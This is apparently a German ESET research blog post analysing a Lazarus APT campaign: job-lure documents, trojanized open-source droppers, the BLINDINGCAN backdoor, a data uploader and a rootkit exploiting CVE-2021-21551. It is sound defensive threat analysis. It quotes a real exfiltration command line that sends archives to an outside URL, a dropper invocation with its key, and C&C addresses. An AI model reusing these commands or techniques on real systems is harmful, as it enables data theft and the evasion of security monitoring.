ESET-Forscher entdeckten und analysierten eine Reihe bösartiger Tools, die von der berüchtigten Lazarus APT-Gruppe bei Angriffen im Herbst 2021 eingesetzt wurden. Die Kampagne begann mit Spearphishing-E-Mails. Diese kamen in Form von gefälschten Amazon-Mails und zielten auf einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden und einen politischen Journalisten in Belgien ab. Das primäre Ziel der Angreifer war das Stehlen von Daten. Lazarus (auch bekannt als HIDDEN COBRA) ist seit mindestens 2009 aktiv. Die Gruppe ist verantwortlich für öffentlichkeitswirksame Vorfälle wie den Hack von Sony Pictures Entertainment und Cyberdiebstähle in Millionenhöhe im Jahr 2016, den Ausbruch von WannaCryptor (auch bekannt als WannaCry) im Jahr 2017 und eine lange Reihe von zerstörerischen Angriffen auf öffentliche und kritische Infrastrukturen in Südkorea seit mindestens 2011.
Die wichtigsten Ergebnisse in diesem Blogpost:
- Die Lazarus-Kampagne richtete sich gegen einen Mitarbeiter eines Luft- und Raumfahrtunternehmens in den Niederlanden und gegen einen politischen Journalisten in Belgien.
- Das bemerkenswerteste Tool dieser Kampagne ist der erste nachgewiesene Missbrauch der Sicherheitslücke CVE-2021-21551. Diese Schwachstelle betrifft Dell DBUtil-Treiber. Dell stellt seit Mai 2021 dafür ein Sicherheitsupdate bereit.
- Dieses Tool deaktiviert in Verbindung mit der Schwachstelle das Monitoring aller Sicherheitslösungen auf den kompromittierten Rechnern. Es nutzt Techniken gegen Windows-Kernel-Mechanismen, die bisher noch nie in Malware beobachtet wurden.
- Lazarus verwendete in dieser Kampagne auch seine voll ausgestattete HTTP(S)-Backdoor namens BLINDINGCAN.
- Die Komplexität des Angriffs deutet darauf hin, dass Lazarus aus einem großen Team besteht, das systematisch organisiert und gut vorbereitet ist.
Beiden Zielpersonen wurden angebliche Jobangebote unterbreitet. Der Mitarbeiter in den Niederlanden erhielt einen Anhang per LinkedIn Nachricht, die Person in Belgien ein Dokument per E-Mail. Die Angriffe begannen, nachdem diese Dokumente geöffnet wurden. Die Angreifer setzten auf jedem System mehrere bösartige Tools ein, darunter Dropper, Loader, voll funktionsfähige HTTP(S)-Backdoors, HTTP(S)-Uploader und -Downloader. Die Gemeinsamkeit der Dropper bestand darin, dass es sich um trojanisierte Open-Source-Projekte handelte, die die eingebettete PAyload mithilfe moderner Blockchiffren mit langen Schlüsseln entschlüsselten, die als Befehlszeilenargumente übergeben wurden. In vielen Fällen handelt es sich bei den bösartigen Dateien um DLL-Komponenten, die von legitimen EXEs nachgeladen wurden, jedoch von einem ungewöhnlichen Ort im Dateisystem.
Das bemerkenswerteste von den Angreifern bereitgestellte Tool war ein User-Mode-Modul, das aufgrund der Sicherheitslücke CVE-2021-21551 in einem legitimen Dell-Treiber die Fähigkeit erlangte, Kernelspeicher zu lesen und zu schreiben. Dies ist der erste jemals bekannte Missbrauch dieser Sicherheitslücke in freier Wildbahn. Die Angreifer nutzten dann ihren Schreibzugriff auf den Kernel-Speicher, um sieben Mechanismen zu deaktivieren, die das Windows-Betriebssystem zur Überwachung seiner Aktionen anbietet, wie z. B. Registry, Dateisystem, Prozesserstellung, Ereignisverfolgung usw., wodurch Sicherheitslösungen im Grunde genommen auf sehr generische, aber robuste Weise ausgehebelt wurden.
In diesem Blogpost erklären wir den Kontext der Kampagne und liefern eine detaillierte technische Analyse aller Komponenten. Diese Forschung wurde auf der diesjährigen Virus Bulletin-Konferenz vorgestellt. Aufgrund der Originalität liegt der Schwerpunkt der Präsentation auf der in diesem Angriff verwendeten bösartigen Komponente, die die Bring Your Own Vulnerable Driver (BYOVD)-Technik verwendet und die oben erwähnte Sicherheitslücke CVE-2021-21551 ausnutzt. Detaillierte Informationen finden Sie im Whitepaper Lazarus & BYOVD: Evil to the Windows core.
Basierend auf den spezifischen Modulen, dem Code-Signatur-Zertifikat und dem Einbruchsansatz, der mit früheren Lazarus-Kampagnen wie Operation In(ter)ception und Operation DreamJob übereinstimmt, ordnen wir diese Angriffe mit hoher Wahrscheinlichkeit Lazarus zu. Die Vielfalt, Anzahl und Ausgefallenheit der Lazarus-Kampagnen sind kennzeichnend für diese Gruppe, ebenso wie die Tatsache, dass sie alle drei Säulen cyberkrimineller Aktivitäten durchführt: Cyberspionage, Cybersabotage und das Streben nach finanziellem Gewinn.
Ursprünglicher Zugang
ESET-Forscher entdeckten zwei neue Angriffe: einen gegen Mitarbeiter eines Medienunternehmens in Belgien und einen gegen einen Angestellten eines Luftfahrtunternehmens in den Niederlanden.
In den Niederlanden betraf der Angriff einen Windows 10-Computer, der mit dem Unternehmensnetzwerk verbunden war. Ein Mitarbeiter wurde per LinkedIn Nachricht wegen eines vermeintlichen neuen Jobs kontaktiert, woraufhin eine E-Mail mit einem Dokumentenanhang versendet wurde. Wir haben uns mit dem Security-Verantwortlichen des betroffenen Unternehmens in Verbindung gesetzt, der uns das bösartige Dokument zur Verfügung stellen konnte. Bei der Word-Datei Amzon_Netherlands.docx, die an die Zielperson gesendet wurde, handelt es sich lediglich um ein Gliederungsdokument mit einem Amazon-Logo (siehe Abbildung 1). Beim Öffnen wird die Remote-Vorlage https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=<var>_DO.PROJ (wobei <var> eine siebenstellige Zahl ist) abgerufen. Wir waren nicht in der Lage, den Inhalt zu erfassen, aber wir vermuten, dass es sich um ein Stellenangebot für das Amazon-Raumfahrtprogramm, Projekt Kuiper, handelt. Dies ist eine Methode, die Lazarus bei den Kampagnen Operation In(ter)ception und Operation DreamJob für die Luft- und Raumfahrt- sowie die Verteidigungsindustrie angewandt hat.
Innerhalb weniger Stunden wurden mehrere bösartige Tools auf das System nachgeladen, darunter Dropper, Loader, voll funktionsfähige HTTP(S)-Backdoors, HTTP(S)-Uploader und HTTP(S)-Downloader; siehe Abschnitt Toolset.
Was den Angriff in Belgien betrifft, so wurde der Mitarbeiter eines Journalismusunternehmens (dessen E-Mail-Adresse auf der Website des Unternehmens öffentlich zugänglich war) über eine E-Mail mit dem Köder AWS_EMEA_Legal_.docx im Anhang kontaktiert. Da wir das Dokument nicht erhalten haben, kennen wir nur seinen Namen, der vermuten lässt, dass es sich um ein Stellenangebot in einer juristischen Position handeln könnte. Nach dem Öffnen des Dokuments wurde der Angriff gestartet, aber von ESET-Produkten sofort gestoppt. Dadurch konnte nur eine bösartige ausführbare Datei identifiziert werden, da durch das Stoppen derselben der Angriff fehlschlug. Interessant ist dabei, dass die Binärdatei mit einem zu diesem Zeitpunkt gültigen Code-Signatur-Zertifikat signiert war.
Attribution
Wir führen beide Angriffe mit hoher Wahrscheinlichkeit auf die Lazarus-Gruppe zurück. Dies beruht auf den folgenden Faktoren, die Beziehungen zu anderen Lazarus-Kampagnen aufweisen:
- Malware (das Intrusion Set):
- Die HTTPS-Backdoor (SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) weist starke Ähnlichkeiten mit der BLINDINGCAN-Backdoor auf, die von der CISA (US-CERT) gemeldet und HIDDEN COBRA zugeschrieben wird, deren Codename für Lazarus.
- Der HTTP(S)-Uploader weist starke Ähnlichkeiten mit dem Tool C:\ProgramData\IBM\~DF234.TMP auf, das in dem Bericht von HvS Consulting, Abschnitt 2.10 Exfiltration, erwähnt wird.
- Der vollständige Dateipfad und -name, %ALLUSERSPROFILE%\Adobe\Adobe.tmp, ist identisch mit dem, über den Kaspersky im Februar 2021 in einem Whitepaper über die Operation ThreatNeedle von Lazarus berichtete, die auf die Verteidigungsindustrie abzielt.
- Das Code-Signatur-Zertifikat, das auf die US-Firma "A" MEDICAL OFFICE, PLLC ausgestellt und zum Signieren eines der Dropper verwendet wurde, wurde auch in der Kampagne gegen Sicherheitsforscher gemeldet. Siehe auch Lazarus group: 2 TOY GUYS campaign, ESET Threat Report 2021 T1, Seite 11.
- Bei den Tools dieser Lazarus-Kampagne wurde eine ungewöhnliche Art der Verschlüsselung eingesetzt: HC-128. Andere, weniger verbreitete Chiffren, die von Lazarus in der Vergangenheit verwendet wurden: eine Spritz-Variante von RC4 bei den Watering-Hole-Angriffen gegen polnische und mexikanische Banken. Später verwendete Lazarus eine modifizierte RC4 bei der Operation In(ter)ception. Eine modifizierte A5/1-Stream-Chiffre wurde beim WIZVERA VeraPort-Lieferkettenangriff verwendet.
- Infrastruktur:
- Für den C&C-Server der ersten Ebene verwenden die Angreifer keine eigenen Server, sondern hacken stattdessen bestehende. Dies ist ein typisches Verhalten von Lazarus.
Toolset
Eines der typischen Merkmale von Lazarus ist die Verteilung der endgültigen Payload in Form einer Abfolge von zwei oder drei Schritten. Es beginnt mit einem Dropper - in der Regel eine trojanisierte Open-Source-Anwendung - der die eingebettete Payload mit einer modernen Blockchiffre wie AES-128 entschlüsselt (was für Lazarus nicht ungewöhnlich ist, z.B. Operation Bookcodes oder ein verschleiertes XOR, nachdem er die Befehlszeilenargumente nach einem starken Schlüssel analysiert hat. Obwohl die eingebettete Payload nicht im Dateisystem abgelegt, sondern direkt in den Speicher geladen und ausgeführt wird, bezeichnen wir solche Malware als Dropper. Malware, die nicht über einen verschlüsselten Buffer verfügt, sondern eine Payload aus einem Dateisystem lädt, bezeichnen wir als Loader.
Die Dropper können (Tabelle 1) oder auch nicht (Tabelle 2) von einem legitimen (Microsoft-)Prozess nachgeladen werden. Im ersten Fall befindet sich die legitime Anwendung an einem ungewöhnlichen Ort, und die bösartige Komponente trägt den Namen der entsprechenden DLL, die zu den Importen der Anwendung gehört. Zum Beispiel wird die bösartige DLL coloui.dll von einer legitimen Systemanwendung Color Control Panel (colorcpl.exe) geladen, die sich beide unter C:\ProgramData\PTC\ befinden. Der übliche Speicherort für diese legitime Anwendung ist jedoch %WINDOWS%\System32\.
In allen Fällen wird zur Laufzeit mindestens ein Kommandozeilenargument übergeben, das als externer Parameter für die Entschlüsselung der eingebetteten Payload benötigt wird. Es werden verschiedene Entschlüsselungsalgorithmen verwendet; siehe die letzte Spalte in Tabelle 1 und Tabelle 2. In mehreren Fällen, in denen AES-128 verwendet wird, gibt es auch einen internen, fest kodierten Parameter zusammen mit dem Namen des übergeordneten Prozesses und seinem DLL-Namen, die alle für eine erfolgreiche Entschlüsselung erforderlich sind.
Tabelle 1. Bösartige DLLs, die von einem legitimen Prozess von einem ungewöhnlichen Ort aus nachgeladen werden
Location folder | Legitimate parent process | Malicious side-loaded DLL | Trojanized project | External parameter | Decryption algorithm |
---|---|---|---|---|---|
C:\ProgramData\PTC\ | colorcpl.exe | colorui.dll | libcrypto of LibreSSL 2.6.5 | BE93E050D9C0EAEB1F0E6AE13C1595B5 (Loads BLINDINGCAN) |
XOR |
C:\Windows\Vss\ | WFS.exe | credui.dll | GOnpp v1.2.0.0 (Notepad++ plug‑in) | A39T8kcfkXymmAcq (Loads the intermediate loader) |
AES-128 |
C:\Windows\security\ | WFS.exe | credui.dll | FingerText 0.56.1 (Notepad++ plug‑in) | N/A | AES-128 |
C:\ProgramData\Caphyon\ | wsmprovhost.exe | mi.dll | lecui 1.0.0 alpha 10 | N/A | AES-128 |
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ | SMSvcHost.exe | cryptsp.dll | lecui 1.0.0 alpha 10 | N/A | AES-128 |
Tabelle 2. Andere an dem Angriff beteiligte Malware
Location folder | Malware | Trojanized project | External parameter | Decryption algorithm |
---|---|---|---|---|
C:\PublicCache\ | msdxm.ocx | libpcre 8.44 | 93E41C6E20911B9B36BC (Loads the HTTP(S) downloader) |
XOR |
C:\ProgramData\Adobe\ | Adobe.tmp | SQLite 3.31.1 | S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA (Loads the HTTP(S) updater) |
XOR |
C:\PublicCache\ | msdxm.ocx | sslSniffer | Missing | HC-128 |
Nach erfolgreicher Entschlüsselung wird der Buffer auf das richtige PE-Format geprüft und die Ausführung an ihn übergeben. Dieser Vorgang ist bei den meisten Droppern und Loadern zu finden. Der Anfang davon ist in Abbildung 2 zu sehen.
HTTP(S) Backdoor: BLINDINGCAN
Wir haben eine voll funktionsfähige HTTP(S)-Backdoor - ein RAT namens BLINDINGCAN - identifiziert, die für den Angriff verwendet wurde.
Der Dropper dieser Payload wurde als %ALLUSERSPROFILE%\PTC\colorui.dll ausgeführt; siehe Tabelle 1 für Details. Die Payload wird mit einer einfachen XOR-Verknüpfung extrahiert und entschlüsselt, allerdings mit einem langen Schlüssel, der aus dem Namen des übergeordneten Prozesses, seinem eigenen Dateinamen und dem externen Befehlszeilenparameter - hier COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5 - zusammengesetzt ist.
Die Payload, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, ist eine 64-Bit VMProtect geschützte DLL. Es wird eine Verbindung zu einem der entfernten Speicherorte https://aquaprographix[.]com/patterns/Map/maps.php oder https://turnscor[.]com/wp-includes/feedback.php hergestellt. Innerhalb des virtualisierten Codes sind wir auf die folgenden sehr spezifischen RTTI-Artefakte, die in der ausführbaren Datei zu finden sind, gestoßen: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Außerdem gibt es eine Ähnlichkeit auf der Code-Ebene, da die Indizes der Befehle mit demselben Wert beginnen, nämlich 8201; siehe Abbildung 3.
Dies half uns, diesen RAT als BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D) zu identifizieren, über den zum ersten Mal von der CISA berichtet wurde. Die aktuelle Version dieser Payload wurde bei einer anderen Amazon-Kampagne beobachtet, bei der BLINDINGCAN von einem trojanisierten Putty-0.77-Client abgesetzt wurde, wie von Mandiant beschrieben.
Ausgehend von der Anzahl der Befehlscodes, die dem Bediener zur Verfügung stehen, ist es wahrscheinlich, dass ein serverseitiger Controller vorhanden ist, über den der Bediener kompromittierte Systeme kontrollieren und erkunden kann. Aktionen, die innerhalb dieses Controllers ausgeführt werden, führen wahrscheinlich dazu, dass die entsprechenden Befehls-IDs und ihre Parameter an den RAT gesendet werden, der auf dem System des Ziels läuft. Die Liste der Befehlscodes ist in Tabelle 3 aufgeführt und stimmt mit der Analyse von JPCERT/CC, Anhang C, überein. Es gibt keine Validierungsprüfungen für Parameter wie Ordner oder Dateinamen. Das bedeutet, dass alle Überprüfungen auf der Serverseite implementiert werden müssen. Das lässt wiederum darauf schließen, dass es sich bei der serverseitigen Steuerung um eine komplexe Anwendung handelt - sehr wahrscheinlich mit einer benutzerfreundlichen GUI.
Tabelle 3. Die RAT Befehle
Command | Description |
---|---|
8201 | Send system information like computer name, Windows version, and the code page. |
8208 | Get the attributes of all files in mapped RDP folders (\\tsclient\C etc.). |
8209 | Recursively get the attributes of local files. |
8210 | Execute a command in the console, store the output to a temporary file, and upload it. |
8211 | Zip files in a temporary folder and upload them. |
8212 | Download a file and update its time information. |
8214 | Create a new process in the console and collect the output. |
8215 | Create a new process in the security context of the user represented by the specified token and collect the output. |
8217 | Recursively create a process tree list. |
8224 | Terminate a process. |
8225 | Delete a file securely. |
8226 | Enable nonblocking I/O via TCP socket (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) with the FIONBIO control code). |
8227 | Set the current directory for the current process. |
8231 | Update the time information of the selected file. |
8241 | Send the current configuration to the C&C server. |
8242 | Update the configuration. |
8243 | Recursively list the directory structure. |
8244 | Get type and free disk space of a drive. |
8249 | Continue with the next command. |
8256 | Request another command from the C&C server. |
8262 | Rewrite a file without changing its last write time. |
8264 | Copy a file to another destination. |
8265 | Move a file to another destination. |
8272 | Delete a file. |
8278 | Take a screenshot. |
Intermediate Loader
Jetzt beschreiben wir eine dreistufige Kette, von der wir leider nur die ersten beiden Stufen identifizieren konnten: einen Dropper und einen Intermediate Loader.
Die erste Stufe ist ein Dropper, der sich unter C:\Windows\Vss\credui.dll befindet und über eine legitime - aber für DLL-Suchreihenfolge-Hijacking anfällige - Anwendung mit dem (externen) Parameter C:\Windows\Vss\WFS.exe A39T8kcfkXymmAcq ausgeführt wurde. Bei dem Programm WFS.exe handelt es sich um eine Kopie der Anwendung "Windows Fax and Scan", deren Standardspeicherort jedoch %WINDOWS%\System32\ ist.
Der Dropper ist ein trojanisiertes GOnpp-Plug-in für Notepad++, das in der Programmiersprache Go geschrieben ist. Nach der Entschlüsselung prüft der Dropper, ob es sich bei dem Buffer um eine gültige ausführbare 64-Bit-Datei handelt, und wenn ja, lädt er sie in den Speicher, so dass die zweite Stufe zur Ausführung bereit ist.
Das Ziel dieser Zwischenstufe ist es, eine zusätzliche Payload in den Speicher zu laden und sie auszuführen. Er führt diese Aufgabe in zwei Schritten aus. Zunächst wird die Konfigurationsdatei C:\windows\System32\wlansvc.cpl gelesen und entschlüsselt, bei der es sich nicht, wie ihre Erweiterung vermuten lässt, um eine (verschlüsselte) ausführbare Datei handelt, sondern um eine Datendatei, die 14944 Byte große Stücke mit der Konfiguration enthält. Die Konfiguration sollte mit einem Doppelwort beginnen, das die Gesamtgröße des verbleibenden Buffers angibt (siehe Zeile 69 in Abbildung 4 und die Variable u32TotalSize), gefolgt von einem Array aus 14944 Byte langen Strukturen, die mindestens zwei Werte enthalten: den Namen der ladenden DLL als Platzhalter für die Identifizierung der restlichen Konfiguration (am Offset 168 von Zeile 74 in Abbildung 4 und das hervorgehobene Member in Abbildung 5).
Der zweite Schritt ist das Lesen, Entschlüsseln und Laden dieser Datei, die sehr wahrscheinlich die dritte und letzte Stufe darstellt. Es wird erwartet, dass es sich um eine ausführbare 64-Bit-Datei handelt, die auf die gleiche Weise in den Speicher geladen wird, wie der Dropper der ersten Stufe den Intermediate Loader behandelt hat. Zu Beginn der Ausführung wird ein Mutex als Verkettung der Zeichenfolge Global\AppCompatCacheObject und der CRC32-Prüfsumme des DLL-Namens (credui.dll), dargestellt als vorzeichenbehaftete Ganzzahl, erstellt. Der Wert sollte gleich Global\AppCompatCacheObject-1387282152 sein, wenn wlansvc.cpl vorhanden ist, und andernfalls -1387282152.
Eine interessante Tatsache ist die Verwendung dieses Entschlüsselungsalgorithmus (Abbildung 4, Zeile 43 & 68), der weder im Lazarus-Toolset noch in Malware im Allgemeinen so häufig vorkommt. Die Konstanten 0xB7E15163 und 0x61C88647 (-0x9E3779B9; siehe Abbildung 6, Zeile 29 & 35) in der Schlüsselexpansion deuten darauf hin, dass es sich entweder um den RC5 oder RC6 Algorithmus handelt. Wenn man die Hauptentschlüsselungsschleife des Algorithmus überprüft, stellt man fest, dass es sich um den komplexeren der beiden Algorithmen, RC6, handelt. Ein Beispiel für eine ausgeklügelte Bedrohung, die eine solche ungewöhnliche Verschlüsselung verwendet, ist BananaUsurper der Equations Group; siehe Kaspersky-Bericht von 2016.
HTTP(S) Downloader
Ein Downloader, der die HTTP(S)-Protokolle verwendet, wurde ebenfalls auf das System des Ziels übertragen.
Er wurde durch einen Dropper der ersten Stufe (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657) installiert, der eine trojanisierte libpcre-8.44-Bibliothek ist. Sie wurde mit dem Befehl cmd.exe /c start /b rundll32.exe C:\PublicCache\msdxm.ocx,sCtrl 93E41C6E20911B9B36BC (der Parameter ist ein XOR-Schlüssel zum Extrahieren der eingebetteten Payload; siehe Tabelle 2). Der Dropper erreicht außerdem Persistenz, indem er die Datei OneNoteTray.LNK erstellt, die sich im Ordner %APPDATA%\Microsoft\Windows\Startmenü\Programme\Startup befindet.
Die zweite Stufe ist ein VMProtect geschütztes 32-Bit-Modul, das eine HTTP-Verbindungsanfrage an einen in seiner Konfiguration gespeicherten C&C-Server stellt; siehe Abbildung 7. Es verwendet denselben User Agent - Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 - wie BLINDINGCAN RAT, enthält das RTTI-Artefakt .?AVCHTTP_Protocol@@, aber nicht .?AVCFileRW@@, und verfügt nicht über Funktionen wie das Erstellen von Screenshots, das Archivieren von Dateien oder das Ausführen eines Befehls über die Kommandozeile. Es ist in der Lage, eine ausführbare Datei in einen neu zugewiesenen Speicherblock zu laden und die Codeausführung an sie zu übergeben.
HTTP(S) Uploader
Dieses Lazarus-Tool ist für das Stehlen von Daten per HTTP oder HTTPS verantwortlich.
Es wird ebenfalls in zwei Stufen ausgeliefert. Der erste Dropper ist eine trojanisierte sqlite-3.31.1 Bibliothek. Lazarus-Samples enthalten normalerweise keinen PDB-Pfad, aber dieser Loader hat einen: W:\Develop\Tool\HttpUploader\HttpPOST\Pro\_BIN\RUNDLL\64\sqlite3.pdb. Das lässt auch sofort auf seine Funktionalität schließen - ein HTTP-Uploader.
Der Dropper erwartet mehrere Kommandozeilenparameter. Einer davon ist ein Passwort, das zum Entschlüsseln und Laden der eingebetteten Payload benötigt wird. Die übrigen Parameter werden an die Payload übergeben. Wir haben die Parameter nicht erfassen können, aber glücklicherweise wurde ein Einsatz dieses Tools in freier Wildbahn bei einer forensischen Untersuchung von HvS Consulting beobachtet:
C:\ProgramData\IBM\~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:\ProgramData\IBM\restore0031.dat data03 10000 -p 192.168.1.240 8080
Der erste Parameter, S0RMM-50QQE-F65DN-DCPYN-5QEQA, diente als Schlüssel für die Entschlüsselungsroutine des Droppers (genauer gesagt wurde zunächst eine Verschleierung durchgeführt, bei der der verschlüsselte Buffer mit seiner um ein Byte verschobenen Kopie XOR-verknüpft wurde; dann folgte eine XOR-Entschlüsselung mit dem Schlüssel). Die übrigen Parameter werden in einer Struktur gespeichert und an die zweite Stufe weitergegeben. Zur Erläuterung ihrer Bedeutung siehe Tabelle 4.
Tabelle 4. Befehlszeilenparameter für den HTTP(S)-Updater
Parameter | Value | Explanation |
---|---|---|
1 | S0RMM-50QQE-F65DN-DCPYN-5QEQA | A 29-byte decryption key. |
2 | https://<...> | C&C for data exfiltration. |
3 | C:\ProgramData\IBM\restore0031.dat | The name of a local RAR volume. |
4 | data03 | The name of the archive on the server side. |
5 | 10,000 | The size of a RAR split (max 200,000 kB). |
6 | N/A | Starting index of a split. |
7 | N/A | Ending index of a split. |
8 | -p 192.168.1.240 8080 | A switch -p |
9 | #rowspan# | Proxy IP address |
10 | #rowspan# | Proxy Port |
Die zweite Stufe ist der HTTP-Uploader selbst. Der einzige Parameter für diese Stufe ist eine Struktur, die den C&C-Server für die Exfiltration, den Dateinamen eines lokalen RAR-Archivs, den Root-Namen eines RAR-Archivs auf der Serverseite, die Gesamtgröße eines RAR-Splits in Kilobyte, einen optionalen Bereich von Split-Indizes und einen optionalen Schalter -p mit der internen Proxy-IP und einem Port enthält; siehe Tabelle 4. Wenn das RAR-Archiv beispielsweise in 88 Chunks mit einer Größe von jeweils 10.000 kB aufgeteilt ist, würde der Uploader diese Splits übermitteln und sie auf der Serverseite unter den Namen data03.000000.avi, data03.000001.avi, ..., data03.000087.avi speichern. Siehe Abbildung 8, Zeile 42, wo diese Zeichenketten formatiert sind.
Der User-Agent ist der gleiche wie bei BLINDINGCAN und dem HTTP(S)-Downloader, Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36.
FudModule Rootkit
Wir haben eine dynamisch verknüpfte Bibliothek mit dem internen Namen FudModule.dll identifiziert, die versucht, verschiedene Windows-Überwachungsfunktionen zu deaktivieren. Dies geschieht durch die Änderung von Kernel-Variablen und das Entfernen von Kernel-Callbacks, was möglich ist, weil das Modul die Fähigkeit erlangt, in den Kernel zu schreiben, indem es die BYOVD-Techniken ausnutzt - im Speziellen die Sicherheitslücke CVE-2021-21551 im Dell-Treiber dbutil_2_3.sys.
Die vollständige Analyse dieser Malware ist als VB2022-Papier verfügbar: Lazarus & BYOVD: evil to the Windows core.
Andere Malware
Bei den Angriffen wurden zusätzliche Dropper und Loader entdeckt, aber wir haben die notwendigen Parameter zur Entschlüsselung der eingebetteten Payloads oder verschlüsselten Dateien nicht erhalten können.
Trojanisiertes lecui
Ein Projekt lecui von Alec Musafa diente den Angreifern als Code-Basis für die Trojanisierung von zwei weiteren Loadern. Ihren Dateinamen nach waren sie als Microsoft-Bibliotheken mi.dll (Management Infrastructure) bzw. cryptsp.dll (Cryptographic Service Provider API) getarnt, was auf das beabsichtigte Side-Loading durch die legitimen Anwendungen wsmprovhost.exe bzw. SMSvcHost.exe zurückzuführen war; siehe Tabelle 1.
Der Hauptzweck dieser Loader besteht darin, ausführbare Dateien zu lesen und zu entschlüsseln, die sich in alternativen Datenströmen (ADS) unter C:\ProgramData\Caphyon\mi.dll:Zone.Identifier bzw. C:\Program Files\Windows Media Player\Skins\DarkMode.wmz:Zone.Identifier befinden. Da wir diese Dateien nicht erfasst haben, ist nicht bekannt, welche Payload dort versteckt ist. Sicher ist jedoch nur, dass es sich um eine ausführbare Datei handelt, da der Ladevorgang auf die Entschlüsselung folgt (siehe Abbildung 2). Die Verwendung von ADS ist nicht neu. Ahnlab berichtete im Juni 2021 über einen Lazarus-Angriff auf südkoreanische Unternehmen, bei dem solche Techniken zum Einsatz kamen.
Trojanisiertes FingerText
ESET blockierte eine zusätzliche trojanisierte Open-Source-Anwendung, FingerText 0.5.61 von erinata, die sich unter %WINDIR%\security\credui.dll befindet. Die korrekten Befehlszeilenparameter sind nicht bekannt. Wie in einigen der vorherigen Fälle waren drei Parameter für die AES-128-Entschlüsselung der eingebetteten Payload erforderlich: der Name des übergeordneten Prozesses, WFS.exe, der interne Parameter, mg89h7MsC5Da4ANi, und der fehlende externe Parameter.
Trojanisierter sslSniffer
Der Angriff auf ein Ziel in Belgien wurde zu einem frühen Zeitpunkt in der Verteilungskette blockiert, so dass nur eine Datei identifiziert werden konnte, ein 32-Bit-Dropper, der sich unter C:\PublicCache\msdxm.ocx befindet. Es handelt sich um eine sslSniffer-Komponente aus dem wolfSSL-Projekt, die trojanisiert wurde. Zum Zeitpunkt des Angriffs war sie mit einem Zertifikat signiert, das auf "A" MEDICAL OFFICE, PLLC ausgestellt war (siehe Abbildung 8), das inzwischen abgelaufen ist.
Sie hat zwei bösartige Exporte, die die legitime DLL nicht hat: SetOfficeCertInit und SetOfficeCert. Beide Exporte erfordern genau zwei Parameter. Der Zweck des ersten Exports besteht darin, Persistenz herzustellen, indem OfficeSync.LNK erstellt wird, das sich in %APPDATA%\Microsoft\Windows\Start Menu\Programme\Startup befindet, auf die bösartige DLL verweist und ihren zweiten Export über rundll32.exe mit den an sie selbst übergebenen Parametern ausführt.
Der zweite Export, SetOfficeCert, verwendet den ersten Parameter als Schlüssel, um die eingebettete Payload zu entschlüsseln, aber wir konnten ihn nicht extrahieren, da uns der Schlüssel nicht bekannt ist.
Der Entschlüsselungsalgorithmus ist ebenfalls interessant, da die Angreifer HC-128 mit dem 128-Bit-Schlüssel als erstem Parameter und als 128-Bit-Initialisierungsvektor die Zeichenfolge ffffffffffffffff verwenden. Die Konstanten, die die Chiffre offenbaren, sind in Abbildung 10 dargestellt.
Fazit
Bei diesem Angriff, wie auch bei vielen anderen, die Lazarus zugeschrieben werden, haben wir gesehen, dass viele Tools sogar zielgerichtet auf einem einzigen Endpoint in einem Netzwerk von Interesse verteilt wurden. Zweifellos ist das Team hinter dem Angriff ziemlich groß, systematisch organisiert und gut vorbereitet. Zum ersten Mal in freier Wildbahn konnten die Angreifer die Sicherheitslücke CVE-2021-21551 nutzen, um das Monitoring aller Sicherheitslösungen auszuschalten. Dies geschah nicht nur im Kernel-Bereich, sondern auch auf robuste Weise, indem eine Reihe von wenig oder undokumentierten Windows-Interna verwendet wurden. Zweifellos erforderte dies ein hohes Maß an Forschungs-, Entwicklungs- und Testkompetenz.
Aus der Sicht der Verteidiger scheint es einfacher zu sein, die Möglichkeiten des Erstzugriffs einzuschränken, als die robusten Tools zu blockieren, die installiert werden, nachdem entschlossene Angreifer im System Fuß gefasst haben. Wie in vielen Fällen in der Vergangenheit war auch hier ein Mitarbeiter, der den Verlockungen der Angreifer erlegen ist, der Ausgangspunkt des Scheiterns. In sensiblen Netzen sollten Unternehmen darauf bestehen, dass ihre Mitarbeiter auf Geräten, die zur Infrastruktur ihres Unternehmens gehören, nicht ihren persönlichen Interessen nachgehen, z. B. bei der Jobsuche.
For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.
Um mehr darüber zu erfahren, wie Threat Intelligence die Cybersicherheit Ihres Unternehmens verbessern kann, besuchen Sie unsere ESET Threat Intelligence Webseite.
IoCs
A comprehensive list of Indicators of Compromise and samples can be found in our GitHub repository.
SHA-1 | Filename | Detection | Description |
---|---|---|---|
296D882CB926070F6E43C99B9E1683497B6F17C4 | FudModule.dll | Win64/Rootkit.NukeSped.A | A user‑mode module that operates with the kernel memory. |
001386CBBC258C3FCC64145C74212A024EAA6657 | C:\PublicCache\msdxm.ocx | Win32/NukeSped.KQ | A dropper of the HTTP(S) downloader. |
569234EDFB631B4F99656529EC21067A4C933969 | colorui.dll | Win64/NukeSped.JK | A dropper of BLINDINGCAN side-loaded by a legitimate colorcpl.exe. |
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 | N/A | Win64/NukeSped.JK | A 64-bit variant of the BLINDINGCAN RAT. |
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 | N/A | Win32/NukeSped.KQ | An HTTP(S) downloader. |
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 | Adobe.tmp | Win64/NukeSped.JD | A dropper of the HTTP(S) uploader. |
97DAAB7B422210AB256824D9759C0DBA319CA468 | credui.dll | Win64/NukeSped.JH | A dropper of an intermediate loader. |
FD6D0080D27929C803A91F268B719F725396FE79 | N/A | Win64/NukeSped.LP | An HTTP(S) uploader. |
83CF7D8EF1A241001C599B9BCC8940E089B613FB | N/A | Win64/NukeSped.JH | An intermediate loader that loads an additional payload from the file system. |
